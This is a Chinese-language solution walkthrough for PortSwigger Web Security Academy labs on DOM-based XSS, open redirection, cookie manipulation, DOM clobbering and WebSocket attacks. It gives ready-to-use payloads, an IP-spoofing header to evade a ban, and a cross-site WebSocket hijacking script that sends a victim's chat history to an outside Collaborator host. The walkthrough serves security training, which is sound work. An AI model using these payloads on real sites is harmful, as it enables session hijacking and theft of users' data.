本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。
一、DOM-based vulnerabilities
01 DOM XSS using web messages
描述
本实验演示了一个简单的Web 消息漏洞。为了解决这个实验,使用漏洞利用服务器向目标站点发布一条消息,导致print()
调用该函数。
解决方案
1.请注意,主页包含一个addEventListener()
用于侦听 Web 消息的呼叫。
2.转到漏洞利用服务器并将以下内容添加iframe
到正文中。请记住添加您自己的实验室 ID:
<iframe src="https://ac441f5c1edcac358068464500520081.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
3.存储漏洞并将其交付给受害者。
02 DOM XSS using web messages and a JavaScript URL
描述
本实验演示了一个由 Web 消息触发的基于 DOM 的重定向漏洞。为解决本实验,在利用该漏洞的漏洞利用服务器上构建一个HTML页面并调用该print()
函数。
解决方案
<iframe src="https://ac901f4c1e624c4b8006f9e4009f007e.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
03 DOM XSS using web messages and JSON.parse
描述
本实验室使用 Web 消息传递并将消息解析为 JSON。为了解决实验室,在利用此漏洞的漏洞利用服务器上构建一个HTML页面并调用该print()
函数。
解决方案
<iframe src=https://ac4e1f0b1e06221a800824b9005900d0.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
04 DOM-based open redirection
描述
该实验室包含一个基于 DOM 的开放重定向漏洞。为了解决这个实验室,利用这个漏洞并将受害者重定向到漏洞利用服务器。
解决方案
1.博客文章页面包含以下链接,该链接将返回到博客的主页:
<a href='#' onclick='returnURL' = /url=https?:\/\/.+)/.exec(location); if(returnUrl)location.href = returnUrl[1];else location.href = "/"'>Back to Blog</a>
2.该url
参数包含一个开放的重定向漏洞,允许您更改“返回博客”链接将用户带到何处。要解决实验室问题,请构建并访问以下 URL,记住更改 URL 以包含您的实验室 ID 和漏洞利用服务器 ID:
https://accc1f3a1ee52ef680e001f700150059.web-security-academy.net/post?postId=4&url=https://exploit-ac2d1f241e3d2ef480b8018001d00030.web-security-academy.net/
05 DOM-based cookie manipulation
描述
本实验演示了基于 DOM 的客户端 cookie 操作。为了解决这个实验室,注入一个 cookie 会在不同的页面上导致XSS并调用该print()
函数。您将需要使用漏洞利用服务器将受害者定向到正确的页面。
解决方案
1.请注意,主页使用名为 的客户端 cookielastViewedProduct
,其值是用户访问的最后一个产品页面的 URL。
2.转到漏洞利用服务器并将以下内容添加iframe
到正文中,记住替换your-lab-id
为您的实验室 ID:
<iframe src="https://acb61fda1ea44c4c80c9fcd9003b0065.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://acb61fda1ea44c4c80c9fcd9003b0065.web-security-academy.net';window.x=1;">
3.存储漏洞并将其交付给受害者。
06 Exploiting DOM clobbering to enable XSS
描述
该实验室包含破坏 DOM 的漏洞。注释功能允许“safe”的 HTML。为了解决这个实验,构建一个 HTML 注入,破坏一个变量并使用XSS调用alert()
函数。
解决方案
https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">
07 Clobbering DOM attributes to bypass HTML filters
描述
本实验室使用 HTMLJanitor 库,该库易受DOM 破坏。为了解决这个实验,构建一个绕过过滤器的向量,并使用 DOM clobbering 注入一个调用print()
函数的向量。您可能需要使用漏洞利用服务器以使您的向量在受害者的浏览器中自动执行。
解决方案
1.转到其中一篇博客文章并创建包含以下 HTML 的评论:
<form id=x tabindex=0 onfocus=print()><input id=attributes>
2.转到漏洞利用服务器并将以下内容添加iframe
到正文中:
<iframe src=https://your-lab-id.web-security-academy.net/post?postId=3 onload="setTimeout(()=>this.src=this.src+'#x',500)">
请记住更改 URL 以包含您的实验室 ID,并确保该postId
参数与postId
您在上一步中注入 HTML 的博客文章的相匹配。
3.存储漏洞并将其交付给受害者。下次加载页面时,将print()
调用该函数。
该库使用该attributes
属性来过滤 HTML 属性。但是,仍然有可能破坏attributes
属性本身,导致长度未定义。这允许我们将我们想要的任何属性注入到form
元素中。在这种情况下,我们使用onfocus
属性来走私print()
函数。
当iframe
被加载,500ms的延迟之后,它会将#x
片段到页面URL的末尾。延迟是必要的,以确保在执行 JavaScript 之前加载包含注入的注释。这会导致浏览器关注具有 ID 的元素"x"
,即我们在评论中创建的表单。然后onfocus
事件处理程序调用该print()
函数。
二、WebSockets
01 Manipulating WebSocket messages to exploit vulnerabilities
描述
该在线商店具有使用WebSockets实现的实时聊天功能。
您提交的聊天消息由支持代理实时查看。
要解决实验室问题,请使用 WebSocket 消息alert()
在支持代理的浏览器中触发弹出窗口。
解决方案
1.单击“Live chat”并发送聊天消息。 2.在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。 3.使用浏览器发送包含<字符的新消息。 4.在 Burp Proxy 中,找到对应的 WebSocket 消息,观察<发送前是否已经被客户端进行了 HTML 编码。
5.发送到repeater测试,如果断开连接就点击reconnect的按钮重新连接
6.抓包,修改消息如下,forward
<img src=1 onerror=alert(1)>
02 Manipulating the WebSocket handshake to exploit vulnerabilities
描述
该在线商店具有使用WebSockets实现的实时聊天功能。
它有一个激进但有缺陷的 XSS 过滤器。
要解决实验室问题,请使用 WebSocket 消息alert()
在支持代理的浏览器中触发弹出窗口。
解决方案
1.单击“Live chat”并发送聊天消息。 2.在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。 3.右键单击消息并选择“send to repeater”。 4.编辑并重新发送包含基本 XSS 负载的消息,例如:
<img src=1 onerror=alert(1)>
5.观察攻击已被阻止,并且您的 WebSocket 连接已终止。
6.单击“reconnect”,观察连接尝试失败,因为您的 IP 地址已被禁止。
7.将以下标头添加到握手请求以欺骗您的 IP 地址:
X-Forwarded-For: 1.1.1.1
8.单击“Connect”以成功重新连接 WebSocket。 9.发送包含混淆的 XSS 负载的 WebSocket 消息
<iframe src='JavAsCript:alert`1`'>
03 Cross-site WebSocket hijacking
描述
该在线商店具有使用WebSockets实现的实时聊天功能。
要解决实验室问题,请使用漏洞利用服务器托管 HTML/JavaScript 负载,该负载使用跨站点 WebSocket 劫持攻击来窃取受害者的聊天记录,然后使用该负载访问其帐户。
解决方案
<script>
var ws = new WebSocket('wss://ac961f8f1f43629580952a8d007b001d.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://7px9wzsajp9ebtdt1lptkuzsbjh95y.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
登录carlos用户以解决实验